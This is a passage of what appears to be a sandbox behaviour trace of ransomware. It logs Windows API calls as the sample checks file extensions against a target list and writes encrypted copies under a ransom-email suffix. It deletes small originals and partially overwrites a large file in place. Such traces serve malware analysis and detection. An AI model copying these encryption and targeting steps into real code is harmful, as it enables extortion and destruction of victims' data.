lpFileSize=0x2d0ff14*=894) returned 1 [0136.475] CloseHandle (hObject=0x10c0) returned 1 [0136.475] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\Graphics\\Rotate5.ico" (normalized: "c:\\588bce7c90097ed212\\graphics\\rotate5.ico")) returned 0x80 [0136.475] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\Graphics\\Rotate5.ico.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\588bce7c90097ed212\\graphics\\rotate5.ico.id-b4197730.[bitcharity@protonmail.com].com")) returned 0xffffffff [0136.475] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\Graphics\\Rotate5.ico" (normalized: "c:\\588bce7c90097ed212\\graphics\\rotate5.ico"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x10c0 [0136.475] SetFilePointerEx (in: hFile=0x10c0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d0fec0 | out: lpNewFilePointer=0x0) returned 1 [0136.475] SetFilePointerEx (in: hFile=0x10c0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d0fec0 | out: lpNewFilePointer=0x0) returned 1 [0136.476] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\Graphics\\Rotate5.ico.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\588bce7c90097ed212\\graphics\\rotate5.ico.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x10b8 [0136.476] GetLastError () returned 0x0 [0136.476] ReadFile (in: hFile=0x10c0, lpBuffer=0x38ca020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d0fecc, lpOverlapped=0x0 | out: lpBuffer=0x38ca020*, lpNumberOfBytesRead=0x2d0fecc*=0x37e, lpOverlapped=0x0) returned 1 [0136.585] WriteFile (in: hFile=0x10b8, lpBuffer=0x38ca020*, nNumberOfBytesToWrite=0x380, lpNumberOfBytesWritten=0x2d0fc94, lpOverlapped=0x0 | out: lpBuffer=0x38ca020*, lpNumberOfBytesWritten=0x2d0fc94*=0x380, lpOverlapped=0x0) returned 1 [0136.586] ReadFile (in: hFile=0x10c0, lpBuffer=0x38ca020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d0fecc, lpOverlapped=0x0 | out: lpBuffer=0x38ca020*, lpNumberOfBytesRead=0x2d0fecc*=0x0, lpOverlapped=0x0) returned 1 [0136.586] WriteFile (in: hFile=0x10b8, lpBuffer=0x38ca020*, nNumberOfBytesToWrite=0xea, lpNumberOfBytesWritten=0x2d0fc94, lpOverlapped=0x0 | out: lpBuffer=0x38ca020*, lpNumberOfBytesWritten=0x2d0fc94*=0xea, lpOverlapped=0x0) returned 1 [0136.586] SetEndOfFile (hFile=0x10b8) returned 1 [0136.587] CloseHandle (hObject=0x10b8) returned 1 [0136.587] SetFilePointerEx (in: hFile=0x10c0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d0fec0 | out: lpNewFilePointer=0x0) returned 1 [0136.587] SetEndOfFile (hFile=0x10c0) returned 1 [0136.588] CloseHandle (hObject=0x10c0) returned 1 [0136.588] SetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\Graphics\\Rotate5.ico.id-B4197730.[bitcharity@protonmail.com].com", dwFileAttributes=0x80) returned 1 [0136.589] DeleteFileW (lpFileName="C:\\588bce7c90097ed212\\Graphics\\Rotate5.ico" (normalized: "c:\\588bce7c90097ed212\\graphics\\rotate5.ico")) returned 1 [0136.639] lstrlenW (lpString="C:\\588bce7c90097ed212\\Graphics\\Rotate5.ico") returned 42 [0136.639] lstrlenW (lpString="C:\\588bce7c90097ed212\\Graphics\\Rotate5.ico") returned 42 [0136.639] lstrlenW (lpString=".doc") returned 4 [0136.639] lstrcmpiW (lpString1=".doc", lpString2=".ico") returned -1 [0136.639] lstrlenW (lpString=".docx") returned 5 [0136.639] lstrcmpiW (lpString1=".docx", lpString2="5.ico") returned -1 [0136.639] lstrlenW (lpString=".pdf") returned 4 [0136.639] lstrcmpiW (lpString1=".pdf", lpString2=".ico") returned 1 [0136.639] lstrlenW (lpString=".xls") returned 4 [0136.639] lstrcmpiW (lpString1=".xls", lpString2=".ico") returned 1 [0136.639] lstrlenW (lpString=".xlsx") returned 5 [0136.639] lstrcmpiW (lpString1=".xlsx", lpString2="5.ico") returned -1 [0136.639] lstrlenW (lpString=".ppt") returned 4 [0136.639] lstrcmpiW (lpString1=".ppt", lpString2=".ico") returned 1 [0136.639] lstrlenW (lpString="C:\\588bce7c90097ed212\\Graphics\\Rotate5.ico") returned 42 [0136.639] lstrlenW (lpString=".zip") returned 4 [0136.639] lstrcmpiW (lpString1=".zip", lpString2=".ico") returned 1 [0136.639] lstrlenW (lpString=".rar") returned 4 [0136.639] lstrcmpiW (lpString1=".rar", lpString2=".ico") returned 1 [0136.639] lstrlenW (lpString=".bz2") returned 4 [0136.639] lstrcmpiW (lpString1=".bz2", lpString2=".ico") returned -1 [0136.639] lstrlenW (lpString=".7z") returned 3 [0136.639] lstrcmpiW (lpString1=".7z", lpString2="ico") returned -1 [0136.639] lstrlenW (lpString="C:\\588bce7c90097ed212\\Graphics\\Rotate5.ico") returned 42 [0136.639] lstrlenW (lpString=".dbf") returned 4 [0136.640] lstrcmpiW (lpString1=".dbf", lpString2=".ico") returned -1 [0136.640] lstrlenW (lpString="C:\\588bce7c90097ed212\\Graphics\\Rotate5.ico") returned 42 [0136.640] lstrlenW (lpString=".1cd") returned 4 [0136.640] lstrcmpiW (lpString1=".1cd", lpString2=".ico") returned -1 [0136.640] lstrlenW (lpString="C:\\588bce7c90097ed212\\Graphics\\Rotate5.ico") returned 42 [0136.640] lstrlenW (lpString=".jpg") returned 4 [0136.640] lstrcmpiW (lpString1=".jpg", lpString2=".ico") returned 1 [0136.640] lstrlenW (lpString="C:\\588bce7c90097ed212\\Graphics\\Rotate5.ico") returned 42 [0136.640] lstrlenW (lpString="C:\\588bce7c90097ed212\\Graphics\\Rotate5.ico") returned 42 [0136.640] lstrlenW (lpString=".doc") returned 4 [0136.640] lstrcmpiW (lpString1=".doc", lpString2=".ico") returned -1 [0136.706] lstrlenW (lpString=".docx") returned 5 [0136.706] lstrcmpiW (lpString1=".docx", lpString2="5.ico") returned -1 [0136.706] lstrlenW (lpString=".pdf") returned 4 [0136.706] lstrcmpiW (lpString1=".pdf", lpString2=".ico") returned 1 [0136.706] lstrlenW (lpString=".xls") returned 4 [0136.706] lstrcmpiW (lpString1=".xls", lpString2=".ico") returned 1 [0136.706] lstrlenW (lpString=".xlsx") returned 5 [0136.706] lstrcmpiW (lpString1=".xlsx", lpString2="5.ico") returned -1 [0136.706] lstrlenW (lpString=".ppt") returned 4 [0136.706] lstrcmpiW (lpString1=".ppt", lpString2=".ico") returned 1 [0136.706] lstrlenW (lpString="C:\\588bce7c90097ed212\\Graphics\\Rotate5.ico") returned 42 [0136.706] lstrlenW (lpString=".zip") returned 4 [0136.706] lstrcmpiW (lpString1=".zip", lpString2=".ico") returned 1 [0136.707] lstrlenW (lpString=".rar") returned 4 [0136.707] lstrcmpiW (lpString1=".rar", lpString2=".ico") returned 1 [0136.707] lstrlenW (lpString=".bz2") returned 4 [0136.707] lstrcmpiW (lpString1=".bz2", lpString2=".ico") returned -1 [0136.707] lstrlenW (lpString=".7z") returned 3 [0136.707] lstrcmpiW (lpString1=".7z", lpString2="ico") returned -1 [0136.707] lstrlenW (lpString="C:\\588bce7c90097ed212\\Graphics\\Rotate5.ico") returned 42 [0136.707] lstrlenW (lpString=".dbf") returned 4 [0136.707] lstrcmpiW (lpString1=".dbf", lpString2=".ico") returned -1 [0136.707] lstrlenW (lpString="C:\\588bce7c90097ed212\\Graphics\\Rotate5.ico") returned 42 [0136.707] lstrlenW (lpString=".1cd") returned 4 [0136.707] lstrcmpiW (lpString1=".1cd", lpString2=".ico") returned -1 [0136.707] lstrlenW (lpString="C:\\588bce7c90097ed212\\Graphics\\Rotate5.ico") returned 42 [0136.707] lstrlenW (lpString=".jpg") returned 4 [0136.707] lstrcmpiW (lpString1=".jpg", lpString2=".ico") returned 1 [0136.707] lstrcmpiW (lpString1=".ico", lpString2=".com") returned 1 [0136.707] lstrlenW (lpString="stop.ico") returned 8 [0136.707] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\Graphics\\stop.ico" (normalized: "c:\\588bce7c90097ed212\\graphics\\stop.ico"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x10cc [0136.708] GetFileSizeEx (in: hFile=0x10cc, lpFileSize=0x2d0ff14 | out: lpFileSize=0x2d0ff14*=10134) returned 1 [0136.708] CloseHandle (hObject=0x10cc) returned 1 [0136.708] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\Graphics\\stop.ico" (normalized: "c:\\588bce7c90097ed212\\graphics\\stop.ico")) returned 0x80 [0136.708] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\Graphics\\stop.ico.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\588bce7c90097ed212\\graphics\\stop.ico.id-b4197730.[bitcharity@protonmail.com].com")) returned 0xffffffff [0136.708] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\Graphics\\stop.ico" (normalized: "c:\\588bce7c90097ed212\\graphics\\stop.ico"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x10cc [0136.708] SetFilePointerEx (in: hFile=0x10cc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d0fec0 | out: lpNewFilePointer=0x0) returned 1 [0136.708] SetFilePointerEx (in: hFile=0x10cc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d0fec0 | out: lpNewFilePointer=0x0) returned 1 [0136.708] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\Graphics\\stop.ico.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\588bce7c90097ed212\\graphics\\stop.ico.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1084 [0136.708] GetLastError () returned 0x0 [0136.709] ReadFile (in: hFile=0x10cc, lpBuffer=0x38ca020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d0fecc, lpOverlapped=0x0 | out: lpBuffer=0x38ca020*, lpNumberOfBytesRead=0x2d0fecc*=0x2796, lpOverlapped=0x0) returned 1 [0136.804] WriteFile (in: hFile=0x1084, lpBuffer=0x38ca020*, nNumberOfBytesToWrite=0x27a0, lpNumberOfBytesWritten=0x2d0fc94, lpOverlapped=0x0 | out: lpBuffer=0x38ca020*, lpNumberOfBytesWritten=0x2d0fc94*=0x27a0, lpOverlapped=0x0) returned 1 [0136.806] ReadFile (in: hFile=0x10cc, lpBuffer=0x38ca020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d0fecc, lpOverlapped=0x0 | out: lpBuffer=0x38ca020*, lpNumberOfBytesRead=0x2d0fecc*=0x0, lpOverlapped=0x0) returned 1 [0136.806] WriteFile (in: hFile=0x1084, lpBuffer=0x38ca020*, nNumberOfBytesToWrite=0xe4, lpNumberOfBytesWritten=0x2d0fc94, lpOverlapped=0x0 | out: lpBuffer=0x38ca020*, lpNumberOfBytesWritten=0x2d0fc94*=0xe4, lpOverlapped=0x0) returned 1 [0136.806] SetEndOfFile (hFile=0x1084) returned 1 [0136.806] CloseHandle (hObject=0x1084) returned 1 [0136.807] SetFilePointerEx (in: hFile=0x10cc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d0fec0 | out: lpNewFilePointer=0x0) returned 1 [0136.807] SetEndOfFile (hFile=0x10cc) returned 1 [0136.808] CloseHandle (hObject=0x10cc) returned 1 [0136.808] SetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\Graphics\\stop.ico.id-B4197730.[bitcharity@protonmail.com].com", dwFileAttributes=0x80) returned 1 [0136.808] DeleteFileW (lpFileName="C:\\588bce7c90097ed212\\Graphics\\stop.ico" (normalized: "c:\\588bce7c90097ed212\\graphics\\stop.ico")) returned 1 [0136.809] lstrlenW (lpString="C:\\588bce7c90097ed212\\Graphics\\stop.ico") returned 39 [0136.809] lstrlenW (lpString="C:\\588bce7c90097ed212\\Graphics\\stop.ico") returned 39 [0136.809] lstrlenW (lpString=".doc") returned 4 [0136.809] lstrcmpiW (lpString1=".doc", lpString2=".ico") returned -1 [0136.809] lstrlenW (lpString=".docx") returned 5 [0136.809] lstrcmpiW (lpString1=".docx", lpString2="p.ico") returned -1 [0136.809] lstrlenW (lpString=".pdf") returned 4 [0136.809] lstrcmpiW (lpString1=".pdf", lpString2=".ico") returned 1 [0136.809] lstrlenW (lpString=".xls") returned 4 [0136.809] lstrcmpiW (lpString1=".xls", lpString2=".ico") returned 1 [0136.809] lstrlenW (lpString=".xlsx") returned 5 [0136.809] lstrcmpiW (lpString1=".xlsx", lpString2="p.ico") returned -1 [0136.809] lstrlenW (lpString=".ppt") returned 4 [0136.809] lstrcmpiW (lpString1=".ppt", lpString2=".ico") returned 1 [0136.809] lstrlenW (lpString="C:\\588bce7c90097ed212\\Graphics\\stop.ico") returned 39 [0136.809] lstrlenW (lpString=".zip") returned 4 [0136.809] lstrcmpiW (lpString1=".zip", lpString2=".ico") returned 1 [0136.809] lstrlenW (lpString=".rar") returned 4 [0136.809] lstrcmpiW (lpString1=".rar", lpString2=".ico") returned 1 [0136.810] lstrlenW (lpString=".bz2") returned 4 [0136.810] lstrcmpiW (lpString1=".bz2", lpString2=".ico") returned -1 [0136.810] lstrlenW (lpString=".7z") returned 3 [0136.810] lstrcmpiW (lpString1=".7z", lpString2="ico") returned -1 [0136.810] lstrlenW (lpString="C:\\588bce7c90097ed212\\Graphics\\stop.ico") returned 39 [0136.810] lstrlenW (lpString=".dbf") returned 4 [0136.810] lstrcmpiW (lpString1=".dbf", lpString2=".ico") returned -1 [0136.810] lstrlenW (lpString="C:\\588bce7c90097ed212\\Graphics\\stop.ico") returned 39 [0136.810] lstrlenW (lpString=".1cd") returned 4 [0136.810] lstrcmpiW (lpString1=".1cd", lpString2=".ico") returned -1 [0136.810] lstrlenW (lpString="C:\\588bce7c90097ed212\\Graphics\\stop.ico") returned 39 [0136.810] lstrlenW (lpString=".jpg") returned 4 [0136.810] lstrcmpiW (lpString1=".jpg", lpString2=".ico") returned 1 [0136.810] lstrlenW (lpString="C:\\588bce7c90097ed212\\Graphics\\stop.ico") returned 39 [0136.810] lstrlenW (lpString="C:\\588bce7c90097ed212\\Graphics\\stop.ico") returned 39 [0136.810] lstrlenW (lpString=".doc") returned 4 [0136.810] lstrcmpiW (lpString1=".doc", lpString2=".ico") returned -1 [0136.810] lstrlenW (lpString=".docx") returned 5 [0136.810] lstrcmpiW (lpString1=".docx", lpString2="p.ico") returned -1 [0136.810] lstrlenW (lpString=".pdf") returned 4 [0136.810] lstrcmpiW (lpString1=".pdf", lpString2=".ico") returned 1 [0136.810] lstrlenW (lpString=".xls") returned 4 [0136.810] lstrcmpiW (lpString1=".xls", lpString2=".ico") returned 1 [0136.810] lstrlenW (lpString=".xlsx") returned 5 [0136.810] lstrcmpiW (lpString1=".xlsx", lpString2="p.ico") returned -1 [0136.811] lstrlenW (lpString=".ppt") returned 4 [0136.811] lstrcmpiW (lpString1=".ppt", lpString2=".ico") returned 1 [0136.811] lstrlenW (lpString="C:\\588bce7c90097ed212\\Graphics\\stop.ico") returned 39 [0136.811] lstrlenW (lpString=".zip") returned 4 [0136.811] lstrcmpiW (lpString1=".zip", lpString2=".ico") returned 1 [0136.811] lstrlenW (lpString=".rar") returned 4 [0136.811] lstrcmpiW (lpString1=".rar", lpString2=".ico") returned 1 [0136.811] lstrlenW (lpString=".bz2") returned 4 [0136.811] lstrcmpiW (lpString1=".bz2", lpString2=".ico") returned -1 [0136.811] lstrlenW (lpString=".7z") returned 3 [0136.811] lstrcmpiW (lpString1=".7z", lpString2="ico") returned -1 [0136.811] lstrlenW (lpString="C:\\588bce7c90097ed212\\Graphics\\stop.ico") returned 39 [0136.811] lstrlenW (lpString=".dbf") returned 4 [0136.811] lstrcmpiW (lpString1=".dbf", lpString2=".ico") returned -1 [0136.811] lstrlenW (lpString="C:\\588bce7c90097ed212\\Graphics\\stop.ico") returned 39 [0136.811] lstrlenW (lpString=".1cd") returned 4 [0136.811] lstrcmpiW (lpString1=".1cd", lpString2=".ico") returned -1 [0136.811] lstrlenW (lpString="C:\\588bce7c90097ed212\\Graphics\\stop.ico") returned 39 [0136.811] lstrlenW (lpString=".jpg") returned 4 [0136.811] lstrcmpiW (lpString1=".jpg", lpString2=".ico") returned 1 [0136.811] lstrcmpiW (lpString1=".mzz", lpString2=".com") returned 1 [0136.811] lstrlenW (lpString="netfx_Core.mzz") returned 14 [0136.811] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\netfx_Core.mzz" (normalized: "c:\\588bce7c90097ed212\\netfx_core.mzz"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x10cc [0136.812] GetFileSizeEx (in: hFile=0x10cc, lpFileSize=0x2d0ff14 | out: lpFileSize=0x2d0ff14*=181483595) returned 1 [0136.812] CloseHandle (hObject=0x10cc) returned 1 [0136.812] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\netfx_Core.mzz" (normalized: "c:\\588bce7c90097ed212\\netfx_core.mzz")) returned 0x80 [0136.812] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\netfx_Core.mzz.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\588bce7c90097ed212\\netfx_core.mzz.id-b4197730.[bitcharity@protonmail.com].com")) returned 0xffffffff [0136.812] MoveFileW (lpExistingFileName="C:\\588bce7c90097ed212\\netfx_Core.mzz" (normalized: "c:\\588bce7c90097ed212\\netfx_core.mzz"), lpNewFileName="C:\\588bce7c90097ed212\\netfx_Core.mzz.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\588bce7c90097ed212\\netfx_core.mzz.id-b4197730.[bitcharity@protonmail.com].com")) returned 1 [0136.813] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\netfx_Core.mzz.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\588bce7c90097ed212\\netfx_core.mzz.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x10cc [0136.813] SetFilePointerEx (in: hFile=0x10cc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d0fc64 | out: lpNewFilePointer=0x0) returned 1 [0136.813] SetFilePointerEx (in: hFile=0x10cc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d0fc24 | out: lpNewFilePointer=0x0) returned 1 [0136.813] ReadFile (in: hFile=0x10cc, lpBuffer=0x38ca058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x2d0fc30, lpOverlapped=0x0 | out: lpBuffer=0x38ca058*, lpNumberOfBytesRead=0x2d0fc30*=0x40000, lpOverlapped=0x0) returned 1 [0137.013] SetFilePointerEx (in: hFile=0x10cc, liDistanceToMove=0x39b12c3, lpNewFilePointer=0x0, dwMoveMethod=0x2d0fc24 | out: lpNewFilePointer=0x0) returned 1 [0137.013] ReadFile (in: hFile=0x10cc, lpBuffer=0x390a058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x2d0fc30, lpOverlapped=0x0 | out: lpBuffer=0x390a058*, lpNumberOfBytesRead=0x2d0fc30*=0x40000, lpOverlapped=0x0) returned 1 [0137.070] SetFilePointerEx (in: hFile=0x10cc, liDistanceToMove=0xfffc0000, lpNewFilePointer=0xffffffff, dwMoveMethod=0x2d0fc64 | out: lpNewFilePointer=0xffffffff) returned 1 [0137.070] SetFilePointerEx (in: hFile=0x10cc, liDistanceToMove=0xacd384b, lpNewFilePointer=0x0, dwMoveMethod=0x2d0fc24 | out: lpNewFilePointer=0x0) returned 1 [0137.070] ReadFile (in: hFile=0x10cc, lpBuffer=0x394a058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x2d0fc30, lpOverlapped=0x0 | out: lpBuffer=0x394a058*, lpNumberOfBytesRead=0x2d0fc30*=0x40000, lpOverlapped=0x0) returned 1 [0137.237] SetFilePointerEx (in: hFile=0x10cc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d0fec0 | out: lpNewFilePointer=0x0) returned 1 [0137.237] WriteFile (in: hFile=0x10cc, lpBuffer=0x38ca020*, nNumberOfBytesToWrite=0xc0108, lpNumberOfBytesWritten=0x2d0fca8, lpOverlapped=0x0 | out: lpBuffer=0x38ca020*, lpNumberOfBytesWritten=0x2d0fca8*=0xc0108, lpOverlapped=0x0) returned 1 [0137.254] SetEndOfFile (hFile=0x10cc) returned 1 [0137.254] RtlAllocateHeap (HeapHandle=0x5a0000, Flags=0x0, Size=0x40000) returned 0x3df80c0 [0137.259] SetFilePointerEx (in: hFile=0x10cc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d0fc74 | out: lpNewFilePointer=0x0) returned 1 [0137.259] WriteFile (in: hFile=0x10cc, lpBuffer=0x3df80c0*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x2d0fc80, lpOverlapped=0x0 | out: lpBuffer=0x3df80c0*, lpNumberOfBytesWritten=0x2d0fc80*=0x40000, lpOverlapped=0x0) returned 1 [0137.260] SetFilePointerEx (in: hFile=0x10cc, liDistanceToMove=0x39b12c3, lpNewFilePointer=0x0, dwMoveMethod=0x2d0fc74 | out: lpNewFilePointer=0x0) returned 1 [0137.260] WriteFile (in: hFile=0x10cc, lpBuffer=0x3df80c0*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x2d0fc80, lpOverlapped=0x0 | out: lpBuffer=0x3df80c0*, lpNumberOfBytesWritten=0x2d0fc80*=0x40000, lpOverlapped=0x0) returned 1 [0137.261] SetFilePointerEx (in: hFile=0x10cc, liDistanceToMove=0xacd384b, lpNewFilePointer=0x0, dwMoveMethod=0x2d0fc74 | out: lpNewFilePointer=0x0) returned 1 [0137.261] WriteFile (in: hFile=0x10cc, lpBuffer=0x3df80c0*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x2d0fc80, lpOverlapped=0x0 | out: lpBuffer=0x3df80c0*, lpNumberOfBytesWritten=0x2d0fc80*=0x40000, lpOverlapped=0x0) returned 1 [0137.262] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x3df80c0 | out: hHeap=0x5a0000) returned 1 [0137.262] CloseHandle (hObject=0x10cc) returned 1 [0139.465] SetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\netfx_Core.mzz.id-B4197730.[bitcharity@protonmail.com].com", dwFileAttributes=0x80) returned 1 [0139.465] lstrlenW (lpString="C:\\588bce7c90097ed212\\netfx_Core.mzz") returned 36 [0139.465] lstrlenW (lpString="C:\\588bce7c90097ed212\\netfx_Core.mzz") returned 36 [0139.466] lstrlenW (lpString=".doc") returned 4 [0139.466] lstrcmpiW (lpString1=".doc", lpString2=".mzz") returned -1 [0139.466] lstrlenW (lpString=".docx") returned 5 [0139.466] lstrcmpiW (lpString1=".docx", lpString2="e.mzz") returned -1 [0139.466] lstrlenW (lpString=".pdf") returned 4 [0139.466] lstrcmpiW (lpString1=".pdf", lpString2=".mzz") returned 1 [0139.466] lstrlenW (lpString=".xls") returned 4 [0139.466] lstrcmpiW (lpString1=".xls", lpString2=".mzz") returned 1 [0139.466] lstrlenW (lpString=".xlsx") returned 5 [0139.466] lstrcmpiW (lpString1=".xlsx", lpString2="e.mzz") returned -1 [0139.466] lstrlenW (lpString=".ppt") returned 4 [0139.466] lstrcmpiW (lpString1=".ppt", lpString2=".mzz") returned 1 [0139.466] lstrlenW (lpString="C:\\588bce7c90097ed212\\netfx_Core.mzz") returned 36 [0139.466] lstrlenW (lpString=".zip") returned 4 [0139.466] lstrcmpiW (lpString1=".zip", lpString2=".mzz") returned 1 [0139.466] lstrlenW (lpString=".rar") returned 4 [0139.466] lstrcmpiW (lpString1=".rar", lpString2=".mzz") returned 1 [0139.466] lstrlenW (lpString=".bz2") returned 4 [0139.466] lstrcmpiW (lpString1=".bz2", lpString2=".mzz") returned -1 [0139.466] lstrlenW (lpString=".7z") returned 3 [0139.466] lstrcmpiW (lpString1=".7z", lpString2="mzz") returned -1 [0139.466] lstrlenW (lpString="C:\\588bce7c90097ed212\\netfx_Core.mzz") returned 36 [0139.466] lstrlenW (lpString=".dbf") returned 4 [0139.466] lstrcmpiW (lpString1=".dbf", lpString2=".mzz") returned -1 [0139.466] lstrlenW (lpString="C:\\588bce7c90097ed212\\netfx_Core.mzz") returned 36 [0139.467] lstrlenW (lpString=".1cd") returned 4 [0139.467] lstrcmpiW (lpString1=".1cd", lpString2=".mzz") returned -1 [0139.467] lstrlenW (lpString="C:\\588bce7c90097ed212\\netfx_Core.mzz") returned 36 [0139.467] lstrlenW (lpString=".jpg") returned 4 [0139.467] lstrcmpiW (lpString1=".jpg", lpString2=".mzz") returned -1 [0139.467] lstrlenW (lpString="C:\\588bce7c90097ed212\\netfx_Core.mzz") returned 36 [0139.467] lstrlenW (lpString="C:\\588bce7c90097ed212\\netfx_Core.mzz") returned 36 [0139.467] lstrlenW (lpString=".doc") returned 4 [0139.467] lstrcmpiW (lpString1=".doc", lpString2=".mzz") returned -1 [0139.467] lstrlenW (lpString=".docx") returned 5 [0139.467] lstrcmpiW (lpString1=".docx", lpString2="e.mzz") returned -1 [0139.467] lstrlenW (lpString=".pdf") returned 4 [0139.467] lstrcmpiW (lpString1=".pdf", lpString2=".mzz") returned 1 [0139.467] lstrlenW (lpString=".xls") returned 4 [0139.467] lstrcmpiW (lpString1=".xls", lpString2=".mzz") returned 1 [0139.467] lstrlenW (lpString=".xlsx") returned 5 [0139.467] lstrcmpiW (lpString1=".xlsx", lpString2="e.mzz") returned -1 [0139.467] lstrlenW (lpString=".ppt") returned 4 [0139.467] lstrcmpiW (lpString1=".ppt", lpString2=".mzz") returned 1 [0139.467] lstrlenW (lpString="C:\\588bce7c90097ed212\\netfx_Core.mzz") returned 36 [0139.467] lstrlenW (lpString=".zip") returned 4 [0139.467] lstrcmpiW (lpString1=".zip", lpString2=".mzz") returned 1 [0139.467] lstrlenW (lpString=".rar") returned 4 [0139.467] lstrcmpiW (lpString1=".rar", lpString2=".mzz") returned 1 [0139.467] lstrlenW (lpString=".bz2") returned 4 [0139.468] lstrcmpiW (lpString1=".bz2", lpString2=".mzz") returned -1 [0139.468] lstrlenW (lpString=".7z") returned 3 [0139.468] lstrcmpiW (lpString1=".7z", lpString2="mzz") returned -1 [0139.468] lstrlenW (lpString="C:\\588bce7c90097ed212\\netfx_Core.mzz") returned 36 [0139.468] lstrlenW (lpString=".dbf") returned 4 [0139.468] lstrcmpiW (lpString1=".dbf", lpString2=".mzz") returned -1 [0139.468] lstrlenW (lpString="C:\\588bce7c90097ed212\\netfx_Core.mzz") returned 36 [0139.468] lstrlenW (lpString=".1cd") returned 4 [0139.468] lstrcmpiW (lpString1=".1cd", lpString2=".mzz") returned -1 [0139.468] lstrlenW (lpString="C:\\588bce7c90097ed212\\netfx_Core.mzz") returned 36 [0139.468] lstrlenW (lpString=".jpg") returned 4 [0139.468] lstrcmpiW (lpString1=".jpg", lpString2=".mzz") returned -1 [0139.468] lstrcmpiW (lpString1=".msu", lpString2=".com") returned 1 [0139.468] lstrlenW (lpString="Windows6.0-KB956250-v6001-x64.msu") returned 33 [0139.468] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\Windows6.0-KB956250-v6001-x64.msu" (normalized: "c:\\588bce7c90097ed212\\windows6.0-kb956250-v6001-x64.msu"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x10a8 [0139.499] GetFileSizeEx (in: hFile=0x10a8, lpFileSize=0x2d0ff14 | out: lpFileSize=0x2d0ff14*=5198099) returned 1 [0139.499] CloseHandle (hObject=0x10a8) returned 1 [0139.499] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\Windows6.0-KB956250-v6001-x64.msu" (normalized: "c:\\588bce7c90097ed212\\windows6.0-kb956250-v6001-x64.msu")) returned 0x80 [0139.500] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\Windows6.0-KB956250-v6001-x64.msu.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\588bce7c90097ed212\\windows6.0-kb956250-v6001-x64.msu.id-b4197730.[bitcharity@protonmail.com].com")) returned 0xffffffff [0139.500] MoveFileW (lpExistingFileName="C:\\588bce7c90097ed212\\Windows6.0-KB956250-v6001-x64.msu" (normalized: 